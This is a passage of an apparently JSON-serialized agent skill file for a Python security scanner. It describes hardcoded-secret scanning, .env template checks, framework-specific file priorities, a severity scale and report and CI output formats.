secrets:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"python scripts/secret-scanner.py /path/to/project","type":"text"}]},{"type":"paragraph","content":[{"text":"Important: Environment File Handling","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"By default, real ","type":"text"},{"text":".env","type":"text","marks":[{"type":"code_inline"}]},{"text":" files are ","type":"text"},{"text":"SKIPPED","type":"text","marks":[{"type":"strong"}]},{"text":" (","type":"text"},{"text":".env","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":".env.local","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":".env.production","type":"text","marks":[{"type":"code_inline"}]},{"text":", etc.)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"These files contain actual secrets and should not be in version control","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Only ","type":"text"},{"text":".env.example","type":"text","marks":[{"type":"code_inline"}]},{"text":" and ","type":"text"},{"text":".env.template","type":"text","marks":[{"type":"code_inline"}]},{"text":" files are analyzed for documentation quality","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Use ","type":"text"},{"text":"--include-env-files","type":"text","marks":[{"type":"code_inline"}]},{"text":" flag only if explicitly requested by user","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"The scanner will:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Scan source code for hardcoded secrets","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Analyze ","type":"text"},{"text":".env.example","type":"text","marks":[{"type":"code_inline"}]},{"text":" templates to check:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Which sensitive variables are documented","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Whether variables have descriptions (comments)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If placeholder values look like real secrets","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Suggestions for missing common variables (SECRET_KEY, DATABASE_URL, etc.)","type":"text"}]}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Step 5: Pattern Analysis","type":"text"}]},{"type":"paragraph","content":[{"text":"For each file in the codebase, check against patterns in:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/python-vulnerabilities.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Core Python issues","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/injection-patterns.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Injection flaws","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/deserialization.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Insecure deserialization","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/flask-security.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Flask vulnerabilities","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/django-security.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Django vulnerabilities","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/fastapi-security.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - FastAPI vulnerabilities","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Step 6: Report Generation","type":"text"}]},{"type":"paragraph","content":[{"text":"Generate a security report using:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"assets/report-template.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Report structure","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Severity Classification","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Severity","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Description","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Action Required","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"CRITICAL","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Exploitable vulnerability with severe impact","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Immediate fix required","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"HIGH","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Significant security risk","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Fix before deployment","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"MEDIUM","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Potential security issue","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Fix in next release","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"LOW","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Minor security concern","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Consider fixing","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"INFO","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Security best practice suggestion","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Optional improvement","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Key Files to Scan","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Always Check","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/*.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - All Python source files","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"requirements.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"Pipfile","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"pyproject.toml","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Dependencies","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"setup.py","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"setup.cfg","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Package configuration","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"config.py","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"settings.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Configuration files","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/secrets*","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"**/credentials*","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Obvious secret locations","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Environment Files","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":".env.example","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":".env.template","type":"text","marks":[{"type":"code_inline"}]},{"text":" - ","type":"text"},{"text":"SCAN","type":"text","marks":[{"type":"strong"}]},{"text":" for template analysis","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":".env","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":".env.local","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":".env.production","type":"text","marks":[{"type":"code_inline"}]},{"text":" - ","type":"text"},{"text":"SKIP","type":"text","marks":[{"type":"strong"}]},{"text":" by default (contain real secrets)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Note:","type":"text","marks":[{"type":"strong"}]},{"text":" Real ","type":"text"},{"text":".env","type":"text","marks":[{"type":"code_inline"}]},{"text":" files should never be committed to version control. The scanner analyzes ","type":"text"},{"text":".env.example","type":"text","marks":[{"type":"code_inline"}]},{"text":" templates to ensure proper documentation of required variables.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"High Priority Locations","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"app.py","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"main.py","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"wsgi.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Entry points","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/views.py","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"**/routes.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Request handlers","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/api/**/*.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - API endpoints","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/auth*","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"**/login*","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Authentication code","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/models.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Database models","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/serializers.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Data serialization","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/middleware.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Middleware code","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Framework-Specific","type":"text"}]},{"type":"paragraph","content":[{"text":"Flask:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"app.py","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"__init__.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Application factory","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/blueprints/**","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Blueprint routes","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"templates/**","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Jinja2 templates","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Django:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"settings.py","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"**/settings/*.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Django settings","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"urls.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - URL configuration","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/views.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - View functions/classes","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/forms.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Form definitions","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"templates/**","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Django templates","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"FastAPI:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"main.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Application entry","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/routers/**","type":"text","marks":[{"type":"code_inline"}]},{"text":" - API routers","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/dependencies.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Dependency injection","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"**/schemas.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Pydantic models","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Output Format","type":"text"}]},{"type":"paragraph","content":[{"text":"Findings should be reported as:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"[SEVERITY] Category: Description\n File: path/to/file.py:lineNumber\n Code: \u003crelevant code snippet>\n Risk: \u003cexplanation of the security risk>\n Fix: \u003crecommended remediation>","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Integration with CI/CD","type":"text"}]},{"type":"paragraph","content":[{"text":"This skill can generate output compatible with:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"GitHub Security Advisories","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SARIF format for GitHub Code Scanning","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"JSON for custom integrations","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"JUnit XML for CI pipelines","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"References","type":"text"}]},{"type":"paragraph","content":[{"text":"Load additional context as needed:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/owasp-top-10.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - OWASP Top 10:2025 quick reference","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/python-vulnerabilities.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Python-specific vulnerabilities","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/injection-patterns.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Injection vulnerability patterns","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/deserialization.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Insecure deserialization patterns","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/flask-security.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Flask security guide","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/django-security.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Django security guide","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"references/fastapi-security.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" - FastAPI security guide","type":"text"}]}]}]}]},"metadata":{"date":"2026-11-02","name":"Python Security Scan","author":"@skillopedia","source":{"stars":139,"repo_name":"01coder-agent-skills","origin_url":"https://github.com/sugarforever/01coder-agent-skills/blob/HEAD/skills/python-security-scan/SKILL.md","repo_owner":"sugarforever","body_sha256":"8d2b9e69da8b430ca0948db9bd465b2bc7b6f36c27a11b1da823141aa244f910","cluster_key":"511805fece791f9560c22843ca80c81e9e2f778cfc81a331290f742bfc800cc1","clean_bundle":{"format":"clean-skill-bundle-v1","source":"sugarforever/01coder-agent-skills/skills/python-security-scan/SKILL.md","text_bytes":142206,"source_commit":"6f009ba0e3353df03139d477a0a14cd94e785fc9","skills_sh_rank":18601,"attachment_count":11,"text_attachments":11,"attachment_storage":"skill_attachments","binary_attachments":0},"cluster_size":1,"skill_md_path":"skills/python-security-scan/SKILL.md","import_metadata":{"date":"2026-11-02","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"version":"v1","category":"security","import_tag":"skills-sh-top20k-2026-11","description":"Comprehensive security vulnerability scanner for Python projects including Flask, Django, and FastAPI applications. Detects OWASP Top 10 vulnerabilities, injection flaws, insecure deserialization, authentication issues, hardcoded secrets, and framework-specific security problems. Audits dependencies for known CVEs and generates actionable security reports."}},"renderedAt":1793665845877}

Python Security Scan Skill This skill enables comprehensive security scanning of Python projects based on OWASP guidelines, Python security best practices, and framework-specific vulnerabilities. When to Use This Skill - Security audits of Python applications - Code review for security vulnerabilities - Pre-deployment security checks - Dependency vulnerability assessment - Detecting hardcoded secrets and credentials - Framework-specific security reviews (Flask, Django, FastAPI) Supported Frameworks This skill automatically detects and applies framework-specific checks for: - Flask - Template…